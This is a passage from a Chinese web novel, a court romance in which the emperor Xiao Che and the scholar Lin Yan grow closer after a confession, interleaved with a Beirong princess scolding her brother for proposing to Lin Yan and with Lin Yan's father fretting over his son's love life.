他显然是匆匆赶来的,或许宴席一散便立刻脱身,连身上的礼服都还没来得及换下,只是脱去了繁重的冠冕,墨发略显松散地束在脑后,几缕发丝垂落额角,为他平添了几分罕见的随性。 还有急切。 萧彻的目光在殿内迅速扫过,瞬间就精准地捕捉到了瘫在软榻上的林砚。 四目相对。 林砚的心脏猛地一跳,刚刚平复些许的脸颊“噌”地一下又红透了,手脚瞬间不知道该往哪里放,下意识就想坐直身体,却因为慌乱差点从榻上出溜下去。 萧彻快步上前,一把扶住了他的胳膊,防止他真的摔下去。 那手掌温热而有力,林砚像是被烫到一样,身体微微一僵。 “慌什么?”萧彻的声音有些沙哑,似乎也因为这番急切赶来而气息未匀。 他就着扶住林砚的姿势,非但没有松开,反而手臂一用力,直接将人结结实实地拥进了怀里。 又是一个拥抱。 比之前在宫廊下那个更加直接、更加紧密。 林砚整个人都懵了,僵硬地任由萧彻抱着,鼻尖再次充斥满那令人心悸的沉水香气,混合着淡淡的酒气和夜风的微凉。 萧彻抱得很紧,下巴抵在他的发顶,深深吸了一口气,仿佛这样才能确认眼前的人是真实存在的。 他就这样抱着,半晌没有说话,只是手臂收得越来越紧。 林砚甚至能感觉到他胸腔里传来的失序的心跳。 怎么感觉萧彻比自己还要紧张得多? 这个认知让林砚紧绷的身体奇异地放松了一点点。 他抬起手,轻轻回抱住了萧彻的腰。 萧彻得到了林砚的回应,手臂不自觉收紧几分。 “陛下……”林砚被勒得有点喘不过气,忍不住小声哼唧了一下。 萧彻这才像是回过神,稍稍松开了些许力道,但依旧没有完全放开他,只是将怀抱调整成一个更舒适的姿势,低头看着他,眼底是毫不掩饰的情意。 “宴席结束了?”林砚没话找话,试图打破这过于暧昧和安静的氛围,声音小的像蚊子哼哼。 “嗯。”萧彻应了一声,目光依旧一瞬不瞬地凝在他脸上,仿佛怎么看都看不够,“其木格公主还算明事理,已将她王兄带回别苑严加看管,后续事宜,自有鸿胪寺与礼部处置。” 林砚:“……”看、看管? 这对吗? “哦……那就好。”林砚干巴巴地应着,眼神四处飘忽,就是不敢看萧彻的眼睛。 萧彻看着他这副羞窘无措,连耳根都红透了的模样,眼底的笑意更深。 他拉着林砚在床边坐下,却依旧没有松开手,而是将林砚的手握在掌心,轻轻摩挲着那微凉的指尖。 “手怎么这样凉?”萧彻微微蹙眉,用自己的双手包裹住林砚的手,试图将那点凉意焐热。 林砚下意识地想抽回手,却被握得更紧。 “没、没事,不冷。”林砚的声音更低了。 萧彻看着他,忽然低声道:“我很高兴。” 没头没尾的一句话,林砚却瞬间听懂了。 他的脸颊更烫了,低着头,小声嘟囔:“有什么可高兴的……” “自然高兴。”萧彻的语气无比认真,有着一种孩子气的执拗,“你应了我,我便高兴。” 林砚听着这话,心里那点微小的甜意似乎又膨胀了些许。 两人一时无话,就这么并肩坐在床沿边。 萧彻依旧握着林砚的手,有一下没一下地捏着他的指尖,仿佛这是什么极有趣的游戏。 林砚则垂着头,盯着两人交握的手,心里乱糟糟的,又有点莫名的安稳。 安静的室内,只剩下彼此清浅的呼吸声,和窗外极细微的风声。 气氛温馨得有点不真实。 过了许久,林砚终于忍不住,极小声道:“陛下……” “嗯?”萧彻侧头看他。 “你就这么喜欢……抱、抱着吗?”林砚实在是憋不住了,从宫廊下到现在,萧彻好像就没松开过他多久。 萧彻闻言,非但没有不好意思,反而低低地笑了一声,那笑声愉悦而满足,震得林砚耳廓发麻。 他非但没松手,反而就着这个姿势,又往自己怀里带了带,让林砚的后背完全贴合在他的胸膛上,形成一个从背后环抱的姿势。 这样的姿势无疑更亲密了。 萧彻的下巴轻轻搁在林砚的肩窝,温热的呼吸拂过林砚敏感的颈侧。 “喜欢。”萧彻的声音响在林砚耳边,“想抱着,一直抱着。” 他顿了顿,仿佛在许下一个极其重要的诺言,一字一句,敲在林砚的心尖上。 “想抱一辈子。” 林砚的心猛地一颤,像是被什么东西狠狠撞了一下,酸酸麻麻的感觉瞬间蔓延至四肢百骸。 一辈子…… 这个词从帝王口中说出,太重,也太甜。 甜得让他有些晕眩,有些不知所措。 他甚至忘了挣扎,忘了害羞,就那么呆呆地靠在萧彻怀里,听着身后那沉稳有力的心跳,感受着那温暖可靠的怀抱,鼻尖萦绕着令人安心的气息。 窗外的月色悄然挪移,透过窗棂,洒下一地清辉。 夜更深了。 林砚原本高度紧张的神经,在这片过分的静谧和温暖中,渐渐松弛下来。 连日来的疲惫和方才巨大的情绪起伏后遗症如同潮水般涌上,眼皮开始发沉,脑袋一点一点,不知不觉间,竟然就这么靠着萧彻的胸膛,迷迷糊糊地睡了过去。 呼吸变得均匀而绵长。 感受到怀里人身体彻底放松下来,传来了极轻微的呼吸声,萧彻低头,看着林砚恬静的睡颜,眼底的温柔几乎要溢出来。 他小心翼翼地将人放平在床榻上,动作轻缓得如同对待稀世珍宝。 拉过锦被,仔细地替他盖好,连被角都捻得严严实实。 做完这一切,萧彻却没有立刻离开。 他就坐在床沿,借着朦胧的月光,静静地看着林砚的睡颜。 看了许久许久。 最终,他极其轻微地叹了口气,像是满足,又像是感慨。 然后,他俯下身,极其克制地,在林砚光洁的额头上,印下了一个轻如羽毛般的吻。 “睡吧。”他低声呢喃,声音轻得几乎听不见。 直起身,萧彻吹熄了床头的灯烛,只留下墙角一盏小小的长明灯散发着微弱的光芒。 他转身走到外间,对一直垂手侍立、努力把自己当背景板的李德福低声吩咐了几句。 李德福脸上没有任何惊讶的表情,只是恭敬地点头,悄无声息地退了出去,轻轻合上了殿门,如同最忠诚的守卫,守在了门外,将这一室的静谧与难以言说的氛围,彻底隔绝在内。 萧彻重新走回内间,褪去外袍和鞋袜,掀开锦被的另一侧,极其自然地躺了下去。 他侧过身,看着身旁熟睡的人,犹豫了片刻,最终还是伸出手臂,轻轻地将人重新揽入怀中。 林砚在睡梦中无意识地咂了咂嘴,仿佛感觉到了热源,非但没有抗拒,反而往里蹭了蹭,寻了个更舒服的姿势,将脑袋埋进了萧彻的颈窝里,继续沉沉睡去。 萧彻的身体微微一僵,随即彻底放松下来,唇角无法控制地向上扬起,形成一个极其愉悦的弧度。 他收紧了手臂,也闭上了眼睛。 殿内彻底安静下来,只剩下两人平稳的呼吸声。 而此刻的柔远别苑,却是另一番景象。 其木格挥退了所有伺候的北戎侍从和大渝派来的宫人,屋内只剩下她与兄长阿古拉二人。 月光洒在阿古拉犹自带着酒意和不忿的脸上,其木格看着自家王兄,只觉得一个头两个大。 她揉了揉发痛的额角,语气是前所未有的严肃:“王兄!你今日在宴席上的举动,实在是太冒失了!太荒唐了!” 阿古拉梗着脖子,显然并不觉得自己有错,反而理直气壮:“我怎么冒失了?我看中了那位林大人,心悦他,向大渝皇帝求娶,有何不可?这难道不是彰显我北戎诚意的方式?” 其木格被他这番强词夺理气得差点仰倒:“诚意?王兄,你看清楚,那位林大人是男子,更是大渝皇帝的近臣!深得信任!你当着大渝皇帝和满朝文武的面,直言要求娶一个男子,这已经不是失礼了,这是挑衅,是打大渝皇帝的脸!” 她越说越气,声音都不自觉地拔高了几分:“若非大渝皇帝陛下心胸宽广,加之我北戎如今……就凭你今日之举,当场将你拿下问罪都不为过!你竟还觉得理所当然?” 阿古拉被妹妹训斥,脸上有些挂不住,但依旧嘴硬:“男子又如何?我们草原上的勇士,喜欢便是喜欢,何须在意旁人的眼光?我看那林大人生得俊俏,性子也好,比那些娇娇弱弱的女子强多了!若是他愿意跟我回草原,我定以正妻之位待之,此生绝不再娶旁人!” 其木格看着兄长那副理所当然、甚至带着点憧憬的模样,彻底无语凝噎。 她张了张嘴,竟一时不知该如何反驳这过于超前的想法。 半晌,她才无力地叹了口气,用一种看傻子的眼神看着阿古拉,语重心长,几乎带上了几分怜悯:“王兄,我的好王兄,你醒醒吧,且不说林大人是否对男子有意,就算他真有此意,你以为大渝皇帝会放人?你看不出陛下对林大人的回护之意吗?” 其木格回想起宴席上萧彻那瞬间冷沉的眼神和周身骤降的气压,心有余悸:“今日陛下未当场发作,已是天大的恩典,你竟还做着这等不切实际的梦?莫非真如父王所言……” 其木格顿了顿,后面那句“你脑子不太好使”终究还是咽了回去,换了个相对委婉的说法:“父王临行前再三叮嘱,让你遇事多与我商量,便是怕你……行事冲动,不顾后果,联姻之事,绝非儿戏,更非你一厢情愿便可促成,此事到此为止,绝不可再提!否则,惹怒了大渝皇帝,坏了父汗的大计,你我都担待不起!” 阿古拉听着妹妹的话,眉头紧锁,脸上写满了不悦和固执。 他确实对那位仅有一面之缘的林砚一见钟情,被他那清俊的容貌、从容的气度以及在迎接他们时展现出的干练所吸引。 在他看来,喜欢了便要争取,这是草原儿郎的天性。 为何到了妹妹和大渝人这里,就变得如此复杂? “我就是喜欢他。”阿古拉闷声道,语气里带着少年人般的执拗,“若是他愿意嫁我,我必以真心待他,草原上的雄鹰,从不说谎!” 其木格看着兄长这副油盐不进的模样,只觉得一阵深深的无力感袭来。 她抬手按着突突直跳的太阳穴,心里忽然冒出一个极其荒谬的念头。 父王平日里对这个王兄百般溺爱,纵容他那些异想天开的想法,该不会……就是因为早就看出王兄这脑子异于常人,所以才格外宽容吧? 莫非,父王的宠爱,并非源于重视,而是源于对傻子的关怀? 这个念头让其木格激灵灵打了个寒颤。 她看着眼前犹自沉浸在“一生一世一双人”美好幻想中的兄长,最终只能化作一声长长的、充满无奈和担忧的叹息。 “王兄,夜深了,你先歇息吧。”其木格疲惫地摆摆手,懒得再与他争辩,“明日还要学习大渝礼仪,切记,谨言慎行,莫要再节外生枝了。” 说完,她转身离开,背影里充满了心累。 看来,这次出使大渝,她肩上的担子,远比想象中要重得多。 不仅要完成父汗交托的任务,还得时刻盯着这个脑子不太灵光的王兄,防止他再做出什么惊世骇俗的蠢事来。 其木格抬头望了望大渝京城那轮清冷的月亮,只觉得前途一片渺茫。 而留在原地的阿古拉,则对着月亮,握紧了拳头,眼底闪烁着势在必得的光芒。 林砚…… 阿古拉在心里默默念着这个名字。 他是不会放弃的—— 作者有话说:妹妹猜得没错哈,阿古拉就是个……[狗头] 为了冲下周的榜单,会有加更,星期六星期天都有[比心] 第62章 第 62 章 “你莫不是看上了那北戎…… 次日清晨, 林砚是在一阵窒息感中醒来的。 不是生病,纯粹是物理意义上的——某人将他箍得太紧,脸又埋在他颈窝里, 呼吸灼热, 存在感强得惊人。 林砚花了足足三秒钟思考人生,回忆昨晚自己是怎样从一个惊天动地的告白现场, 一步步落到和人同床共枕的。 记忆回笼,脸颊爆红。 他小心翼翼地, 试图将横亘在自己腰间的那条沉甸甸的手臂挪开。 刚动了一下,头顶就传来一声带着浓浓睡意的鼻音:“嗯?” 环在腰间的手臂非但没松,反而收得更紧了些,顺带还蹭了蹭。 林砚浑身僵住,大气不敢出。 萧彻似乎也彻底醒了, 低头看了看怀里装鹌鹑的人,低笑一声,嗓音是晨起特有的沙哑:“醒了?” “……嗯。”林砚的声音闷在被子里。 “睡得可好?”萧彻的语气自然得仿佛他们同床共枕是天经地义。 林砚能说什么?自己睡得像死猪一样?那他的脸还要不要了? 他选择沉默。 萧彻似乎也不指望他回答,自顾自地又抱了一会儿,才万分不舍地松开手,坐起身。 “时辰不早, 该起了。”萧彻说着, 极其自然地伸手替林砚理了理蹭得乱糟糟的鬓发。 林砚触电般往后一缩。 萧彻的手顿在半空,眸色黯了一瞬, 但很快恢复如常,语气依旧平和:“今日早朝,你……” “臣知道!”林砚抢答,手脚并用地爬下床,差点被被子绊倒, “臣这就回去换官袍!” 让他顶着这一身“皇帝味儿”去上朝,不如直接给他一刀。 萧彻看着他这副慌慌张张、恨不得立刻逃离案发现场的模样,有些好笑,又有些无奈。 “不必回府了。”萧彻下床,扬声唤道,“李德福。” 李德福如同早就候在门外,应声而入,低眉顺眼,身后跟着一串捧着洗漱用具和崭新官袍的小太监。 “给林大人更衣。”萧彻吩咐道,自己则张开手臂,任由宫人伺候他穿上那身威严的龙袍。 林砚看着那套明显是照他尺寸新赶制出来的、连半点褶皱都没有的绯色官袍,陷入了沉思。 陛下这准备工作,是不是做得过于充分了点? 他真的不是守株待兔的那只兔子吗? 在李德福“林大人请抬手”、“林大人请转身”的殷勤伺候下,林砚晕乎乎地换好了官袍,束好了发冠。 期间萧彻的目光时不时飘过来,带着毫不掩饰的欣赏,看得林砚头皮发麻,只能眼观鼻鼻观心,假装自己是个莫得感情的换衣架子。 两人收拾停当,一同用了些简单的早膳。 林砚食还是很害羞,恨不得把脸埋进粥碗里。 萧彻倒是心情颇佳,甚至还给他夹了个小巧玲珑的小笼包:“多吃些,今日早朝怕是耗时。” 林砚盯着碗里那个多出来的小笼包,吃也不是,不吃也不是。 最终,他还是默默夹起来塞进了嘴里。 嗯,御厨手艺真好,小笼包真好吃。 等会儿……陛下刚才是不是用他自己吃过的筷子给他夹的?! 林砚后知后觉地意识到这一点,差点被口水呛住,脸颊又悄悄漫上热度。 好不容易熬到早膳用完,两人一同出了清漪阁,往太仪殿走去。 宫道漫长,晨曦微露,空气中带着寒意。 林砚刻意落后半步,努力维持着“恭敬臣子”的姿态。 萧彻倒也没强求他并肩而行,只是步伐不疾不徐,恰好能让林砚轻松跟上。 偶尔有早早起来忙碌的宫人内侍远远见到圣驾,慌忙跪伏行礼,眼角余光瞥见陛下身后亦步亦趋的林学士,心中皆是惊疑不定——这位林大人,昨日不是告假了吗?怎地从清漪阁方向随陛下一起出来了? 但无人敢多看一眼,更无人敢嚼舌根。 一路无话,却有种难以言喻的微妙气氛在两人之间流转。 太仪殿外,文武百官早已按品级肃立等候。 钟鼓声响起,宫门洞开。 百官鱼贯而入。 林砚混在队列里,努力让自己看起来和往常一样。 然而,当萧彻升座,目光扫过下方时,几乎所有心思敏锐的大臣都察觉到了不同。 今日的陛下,似乎……心情甚好? 虽然依旧是那副威严深沉的帝王相,但眉宇间那丝惯有的冷厉和不易近人,仿佛被春风拂过,柔和了不少。 就连骂人——哦不,是训斥臣工,都比往日文雅了许多。 难道是要过年了高兴? 对,肯定是这样的。 一位御史因为核查地方粮仓账目不清,被拎出来回话,战战兢兢等待雷霆之怒。 结果萧彻只是蹙了蹙眉,语气平稳地指出几处疏漏,最后道:“爱卿年事已高,精力不济也在所难免,此事便交由户部右侍郎协同办理,爱卿从旁督协即可。” 就、就这? 不仅没挨骂,还没被撤差事? 那老御史感激涕零地谢恩退下,整个人都是懵的。 接下来,几位大臣禀报了些不太顺遂的政务,比如某地冬修水利进度缓慢,或是边境互市又有些小摩擦。 按往常,陛下少不得要沉下脸,问几句“为何如此拖延”、“地方官是干什么吃的”。 今日,萧彻只是沉吟片刻,便给出了解决办法:“工期延误,或因天寒地冻,民夫劳作不易,着当地官府每日多供给一顿热食,加发些御寒衣物,提振士气后再看进度。” “互市摩擦,让鸿胪寺派员与北戎使团沟通,查明缘由,依律处理便是,不必小题大做,亦不可失了体统。” 语气那叫一个和风细雨,解决问题的思路那叫一个清晰务实且人性化。 底下的大臣们面面相觑,心里直犯嘀咕。 若不是还在早朝,他们都想走到殿外去瞧瞧,太阳是挂在东边还是西边。 这态度好得让人心慌啊! 连平日里最爱揣摩圣意、见风使舵的几位老臣,此刻也有点拿不准了,奏对时格外小心翼翼,生怕这是暴风雨前的宁静。 整个早朝就在这种“陛下异常和蔼可亲,臣子们受宠若惊加不知所措,陛下继续和风细雨,臣子们更加提心吊胆”的诡异循环中结束了。 退朝的钟声敲响,百官躬身行礼,直到御驾离去,才敢直起腰来,互相交换着茫然又庆幸的眼神。 今日,真是邪了门了。 林砚混在人群中,低头往外走,心里那点小尴尬早被萧彻这通操作震飞了。 好家伙,谈恋爱还能有这种正面效果? 原来小说里霸总的夫人去了公司的剧情可以是真的? 正胡思乱想,胳膊被人轻轻拉了一下。 回头一看,是父亲林承稷。 老父亲脸上带着显而易见的担忧,压低声音:“砚儿,昨日陛下没再怪罪吧?为父看你今日气色倒好,是从清漪阁来的?” 林砚这才想起,自己昨晚“宿醉未归”,今早又直接从宫里出来上朝,还没跟家里通气。 他赶紧道:“爹放心,陛下宽宏,并未怪罪,昨日……呃,后来酒劲上来,实在困乏,就在清漪阁歇下了。” 林承稷的座位跟林砚的不在一块儿,自是不知林砚昨天根本就没有喝酒,喝的全是羊杂汤。 仔细打量儿子神色,林承稷见确实不像受了委屈或惊吓的模样,这才稍稍安心,但还是忍不住念叨:“虽是陛下恩典,你也需谨记本分,不可恃宠而骄,清漪阁毕竟是宫苑,岂能当作自家卧房般随意歇宿……” “是是是,儿子知道了。”林砚连连点头,生怕父亲继续深入这个话题,“爹,您今日不去公廨?” “去自然是要去的。”林承稷说着,却并未挪步,反而示意林砚往人少处走了几步,脸上露出一丝犹豫,“砚儿,昨日宫宴上,北戎王子那、那荒唐之举,你莫要往心里去。” 林砚没想到父亲会突然提起这茬,愣了一下:“爹,我没事,就当是被狗吠了一声。” 这比喻虽粗俗,但有效。 林承稷被儿子这话噎了一下,哭笑不得,但看林砚神色坦然,不似强颜欢笑,心下又安了几分。 他沉吟片刻,像是下定了决心,声音压得更低:“砚儿,你先前同我说你心慕男子,此话还当真?” 林砚头皮一紧,郑重地点点头:“爹,儿子并非玩笑,此事儿子深思熟虑过。” 林承稷的脸色白了又青,青了又白,最终化作一声长叹,带着无尽的疲惫和一丝不易察觉的哽咽:“我林家……怎会如此……是为父之过……” “爹,这与您和娘无关。”林砚连忙道,“是天生的,改不了。” 林承稷沉默良久,才艰难地开口:“既如此……你可是有了心仪之人?”他问得极其艰难,仿佛每个字都烫嘴。 林砚的心跳猛地漏了一拍。 他能怎么说?说您儿子不仅有心仪之人,还胆大包天把皇帝给拐了,而且皇帝还挺乐意? 他怕他爹当场心梗。 林砚眼神飘忽,含糊道:“这个……” 林承稷盯着儿子看了半晌,忽然道:“你莫不是看上了那北戎王子?” “咳咳咳!”林砚差点被自己的口水呛死,“爹!您想哪儿去了?怎么可能?我又不瞎!” 他那嫌弃的表情太过真实,瞬间打消了林承稷的疑虑。 老父亲松了口气,不是那个脑子有坑的蛮子就好。 但新的忧虑立刻涌上心头。 不是北戎王子,那会是谁? 京中喜好男风、且有龙阳之癖的官员勋贵也不是没有,但哪个是良配?自家儿子这般品貌才华,难不成要去给人做那见不得光的…… 林承稷越想越心塞,脸色又愁苦起来。 林砚看着他爹那副“我家好好白菜不知道要被哪头猪拱了”的悲痛表情,心里又是好笑又是酸涩。 他犹豫再三,想着长痛不如短痛,反正迟早要知道,不如先透点口风,让老爹有个心理准备。 舔了舔有些发干的嘴唇,林砚声音压得极低,几乎只有他们两人能听见:“爹,您别乱猜了,那个人身份有点特别,我暂时还不能说。” 林承稷的心一下子提到了嗓子眼:“特别?如何特别?莫非是已有家室?”那可真是造孽了! “没有没有!”林砚赶紧摆手,“绝对没有家室!就是地位很高,非常非常高。” 地位很高?非常非常高? 林承稷的脑子飞速运转,把京中位高权重、且没有妻室或是风评有异的王公贵族、朝廷大员过了个遍,越想脸色越白。 王爷?国公?还是陛下身边的那几位近臣权宦? 哪个都不是省油的灯啊! “砚儿,你……”林承稷的声音都在发抖,“你可千万要谨慎!莫要行差踏错,你的终身大事……” “爹,您放心。”林砚握住父亲冰凉的手,眼神异常认真,“儿子心里有数,那人待儿子是真心的,也绝不会委屈儿子,只是眼下时机未到,不便公开,您信我,好吗?” 林承稷看着儿子眼中前所未有的坚定和那丝藏不住的光彩,一时竟不知该说什么。 他重重叹了口气,反手用力握了握儿子的手:“罢了,儿大不由爹,你自小有主意,为父只盼你看清人心,莫要受伤。” “谢谢爹。”林砚鼻子有点酸。 父子二人一时无言,默默走了一段。 快走到宫门处,林承稷忽然又想起一事,神色复杂地看了林砚一眼:“你娘那里我暂且替你瞒着,她性子软,经不起吓,等日后时机成熟,再说不迟。” 林砚顿时松了口气:“多谢爹!” 能瞒一时是一时吧,他实在无法想象母亲知道真相后会是什么反应。 出了宫门,林承稷自去工部衙门。 林砚站在原地,望着父亲略显沉重的背影,心里也是五味杂陈。 他知道这事对父母的冲击有多大,但开弓没有回头箭。 想起萧彻,想起那双盛满星辰的眼眸,想起那个紧密的拥抱,他心里那点犹豫和不安,似乎又被一种巨大的勇气和暖意压了下去。 路是自己选的,跪着也得走下去。 何况,好像也不用跪着? 林砚甩甩头,把那些乱七八糟的思绪抛开,正准备也去翰林院点个卯,身后传来一个带笑的声音。 “林学士,留步。” 林砚回头,看见秦王萧钰正笑嘻嘻地朝他走来,身边还跟着几个宗室子弟。 “见过秦王殿下。”林砚行礼。 “免礼免礼。”萧钰凑近些,挤眉弄眼,“林学士,可以啊!听说昨日宫宴,精彩得很?” 林砚眼皮一跳,就知道这事瞒不住。 他故作镇定:“殿下说笑了,不过是北戎王子酒后失仪,一场闹剧罢了。” “闹剧?”萧钰笑得意味深长,“能让那位眼高于顶的阿古拉王子当场求娶的闹剧,可是稀罕得很呐!林学士真是魅力非凡!” 旁边的几个宗室子弟也跟着低声哄笑,眼神里充满了好奇和探究。 林砚额角青筋跳了跳。 他就知道会这样! 这群小屁孩八卦得很。 他努力维持着面无表情:“殿下若无他事,臣还要去……” “别急着走啊!”萧钰拦住他,压低声音,一脸八卦,“跟本王透露透露,你到底是怎么想的?真不考虑考虑?虽说是个男的,但好歹是个王子,嫁过去就是王妃,说不定以后还能当个北戎阏氏呢!” 林砚:“……”我考虑你个锤子! 他深吸一口气,皮笑肉不笑:“殿下,《谏太宗十思疏》一百遍抄完了?陛下近日似乎正欲考校殿下功课?” 萧钰脸上的笑容瞬间僵住,像是被掐住了脖子的鸡。 “咳咳,那什么,本王忽然想起府中还有要事,先走一步!林学士,回见!回见!”萧钰干笑着,脚底抹油,溜得飞快。 几个宗室子弟见状,也讪讪地散了。 林砚看着萧钰仓皇逃窜的背影,冷哼一声。 小样,还治不了你? 经此一打岔,林砚那点惆怅情绪也散了不少。 不就是谈个恋爱吗? 有什么好怕的! 只要陛下不掉链子,他林砚就能稳住! 林砚给自己打着气,脚步都轻快了几分。 走咯,去找萧彻—— 作者有话说:老父亲在儿子是gay和儿子被gay到北戎之间毫不犹豫选择了前者 有加更哦,往后翻 第63章 第 63 章 抱抱精实锤了,行吧,以…… 林砚几乎是同手同脚地挪进御书房的。 昨夜那石破天惊的“试试”和今早那令人窒息的同床共枕, 还在他脑子里循环播放,以至于他看见那张熟悉的御案和御案后坐着的人时,脸颊又开始不受控制地升温。 萧彻正批着奏章, 闻声抬头, 目光落在他身上,很自然地流连了一瞬, 唇角微不可察地弯了一下:“来了?” 语气平淡得像是在问“吃了吗”。 林砚赶紧垂下眼,躬身行礼:“臣叩见陛下。” “平身。”萧彻放下笔, 向林砚招招手,“过来。” 林砚目光扫视了一下无声静立的宫人,挪着步子走到萧彻身边。 萧彻目光落在林砚身上,看似随意地问,“方才见你与你父亲在外说话, 可是家中有什么事?” 想到这个,林砚就乐出了声:“臣的父亲得北戎王子过于惊世骇俗,怕臣心里不自在,安慰了臣几句,还说幸好臣不是看上那阿古拉。” 林砚越想越乐,脸上露出哭笑不得的表情:“陛下你说, 我爹这脑子是怎么想的?他居然会觉得我能看上阿古拉?还担心我会跟阿古拉回北戎。” 他即便就是看上了外邦人, 也不会离开自己的家人,远离自己的故土。 这里是古代, 没有网络,无法通过手机联系,林砚可不放心自己不在家人的身边。 萧彻却不动声色,只淡淡应道:“林老大人也是关心则乱。” 他顺理成章地握住林砚的手,像是随口一问, “那你如何回的他?” 林砚挠了挠头,有点不好意思:“臣就跟家父说了,让他放一百二十个心,我绝对看不上阿古拉,我已经有喜欢的人了,不是他。” 萧彻的呼吸静了一瞬。 抬起眼,目光沉静地看着他:“你同林老大人说了你有心仪之人?” “啊,是。”林砚干巴巴道。“说了,但没说是谁,就只说有这么个人,不是北戎的,让我爹别瞎操心,我爹虽然还是担心,但一听不是阿古拉,脸色就好看了不少,跟阿古拉一比,他觉得我喜欢谁都行,真的。” 林砚说着说着,自己都觉得这逻辑有点清奇,忍不住又笑了出来。 萧彻心情大好。 如此说来,他还要感谢阿古拉。 萧彻看着林砚笑得眉眼弯弯的模样,眼底也掠过一丝极淡的笑意。 说归说,林砚也没忘记自己的本职工作,他敛了笑意,正色道:“陛下,万寿节刚过,眼看就要到年关了,除夕宴的各项筹备,礼部已将章程草案呈送过来,臣粗略看了看,大体还是循旧例,只是今年是陛下登基后首个新年,又与万寿节相距不远,是否需在些细节上再增添些新意,以示隆重?” 林砚将放在自己专属的那张书案上的单子抽出交给萧彻,上面罗列了除夕宴的流程、席次安排、乐舞表演等事项。 萧彻扫了一眼那厚厚的摘要,眉头皱了一下,语气里带上一丝极少外露,近乎抱怨的疲惫:“年年都是这些,群臣叩拜,说些吉祥话,看着千篇一律的歌舞,与那些心思各异的臣子、使节虚与委蛇,着实无趣得紧。” 他放下摘要,目光看向林砚,那双总是深沉难测的凤眸里,此刻清晰地映出林砚的身影,带着一种真实的嫌弃:“朕倒觉得,还不如上回万寿节,与你一同在宫外街上走走来得自在痛快,那是朕过得最高兴的一个生辰。” 林砚还是头一回听到萧彻用这种带着点孩子气的口吻抱怨工作,像是卸下了帝王厚重的铠甲,露出里面那个也会觉得烦闷,渴望轻松的普通人。 一股难以言喻的情绪涌上心头,有点酸,又有点软。 至没经过大脑思考,身体就先一步行动了。 林砚绕过御案,走到萧彻身边,伸出手,轻轻抱住了他。 萧彻的身体明显僵硬了一瞬,似乎完全没料到林砚会突然有此举动。 御书房内侍立的宫人早已训练有素地垂下眼帘,将自己变成背景板。 林砚抱着萧彻,能感觉到手下肌肉的紧绷,但他没有松开,反而拍了拍他的背,声音放得很软,带着安抚的意味:“陛下辛苦了,那种场合是挺累人的,规矩多,耗神。” 他顿了顿,语气轻快起来:“不过过年嘛,图的就是个热闹团圆,陛下要是想自在些,等除夕宴结束了,咱们大年初一晚上再溜出去逛逛?听说初一晚上的夜市更热闹,咱们可以去吃刚出锅的糖油果子,去看小摊上的新奇玩意儿,就像上次一样,陛下不带自己的兄弟姐妹,臣也不带家人一起去,就我们二人。” 萧彻紧绷的身体在林砚笨拙却真诚的拥抱和轻言软语中慢慢放松下来。 沉默了片刻,然后极其轻微地,将下巴抵在了林砚的肩窝:“一言为定。” “嗯,一言为定!”林砚笑得眼睛弯弯,感觉怀里抱着的不是威震四海的大渝皇帝,而是个终于得到糖果承诺的大型犬科动物。 【哎呀,陛下居然还有这么一面,像个讨要假期的小朋友,怪可爱的。】 【抱抱精实锤了,行吧,以后多抱抱。】 萧彻:“……” 可爱?抱抱精? 萧彻眼底闪过无奈,手臂却悄悄环住了林砚的腰,将人更紧地圈进怀里,享受这片刻的温存与安宁。 有林砚在身边插科打诨,那些繁琐的章程似乎也变得不那么面目可憎。 两人凑在一处,效率奇高。 林砚负责犀利吐槽和提出精简方案,萧彻负责拍板盖章,默契得仿佛合作了半辈子。 很快,厚厚一摞章程便处理完毕。 李德福上前收走批阅好的文书时,眼观鼻鼻观心,假装没看见林学士几乎快要挨到陛下肩膀上的脑袋。 萧彻拿起最后那份需要入宫赴宴的官员名录,目光在“翰林学士林砚”这个名字上停顿片刻,随即极其自然地拿起朱笔,轻轻一道,将其划去。 “陛下?”林砚正端着茶杯喝水,瞥见他的动作,含糊地问了一声。 萧彻将名单递给他,语气寻常得像是在说今天天气不错:“除夕是家宴,团圆夜,你父母妹妹都在京中,你便安心在家陪他们守岁吧,不必入宫来应卯了。宫里这边,不缺你一个。” 林砚接过名单,看着那道清晰的朱笔划痕,心里霎时间就明白了。 这个人,是真心实意地想让他轻松自在,和家人过个暖和团圆的好年,而不是将他拘在这九重宫阙里,陪着自己演一场君臣和谐的戏码。 一股暖流淌过心田,又暖又涨。 林砚放下名单和茶杯,什么也没说,只是转过身,再次伸出手,结结实实地抱住了萧彻,把脸埋在他颈窝里,还用力蹭了蹭。 “嗯?”萧彻被他这突如其来的“袭击”弄得失笑,手却稳稳地回抱住他,轻轻拍着他的背,“怎么了?黏人精?” 林砚闷闷的声音从他肩窝传来:“心里高兴。” 想了想,又理直气壮地补充:“反正陛下喜欢抱抱,我就多给点儿,免得堂堂皇帝,还得暗戳戳琢磨怎么讨抱抱。” 萧彻闻言,放声大笑起来,手臂收得更紧了些:“嗯,此言甚是有理,那便多谢林卿体恤了?” 林砚耳根有点热,强撑着哼了一声,才从他怀里退出来,努力板起脸:“陛下若无其他事,臣……我先回去了?” “去吧。”萧彻眼底笑意未褪,温柔地看着他,“记得我们的初一之约。” “忘不了!”林砚挥挥手,脚步轻快地朝外走去,走到门口时,还忍不住回头冲萧彻笑了一下,这才溜了出去。 林砚脚步轻快地出了御书房,却没立刻往宫外去,而是站在廊下稍稍踌躇了片刻,他目光逡巡,很快便锁定了正指挥着小内侍干活的李德福。 他深吸一口气,脸上重新端起平日里那副温和从容的翰林学士模样,只是耳根还残留着些许未散尽的热意,缓步走向李德福:“李公公。” 李德福闻声立刻转过身,见是林砚,脸上便堆起了真切的笑意,微微躬身:“林大人,可是还有事要吩咐?” 他眼神里透着了然,以后这位林大人,可不仅仅是御前近臣了。 林砚将他引到廊柱旁稍僻静些的地方,这才压低声音,有些不好意思地开口:“确有一事,想私下劳烦公公。” “林学士您太客气了,但请吩咐,老奴必定尽力去办。”李德福笑容更深,语气十分热络。 林砚斟酌着词句,声音又压低了些:“陛下恩典,允我除夕在家陪伴父母守岁。只是想到陛下宫中宴饮劳碌,除夕夜虽热闹,终究难免孤清些。” 抬眼看了看李德福,林砚见对方正认真听着,眼中并无诧异,这才继续道:“我想着,除夕那晚,不知可否麻烦公公,遣个稳妥可靠的人,除夕夜悄悄去我家里一趟?我想送些东西给陛下。” 李德福是何等精明的人物,立刻心领神会,脸上的笑容几乎要溢出朵花来,他连忙接话,语气充满了保证:“林大人放心,老奴明白了,这点小事,包在老奴身上,您只管在家安心备着,届时老奴自会派人给您办得妥妥当当,必定将您这份‘牵挂’,全须全尾地带到陛下面前。” 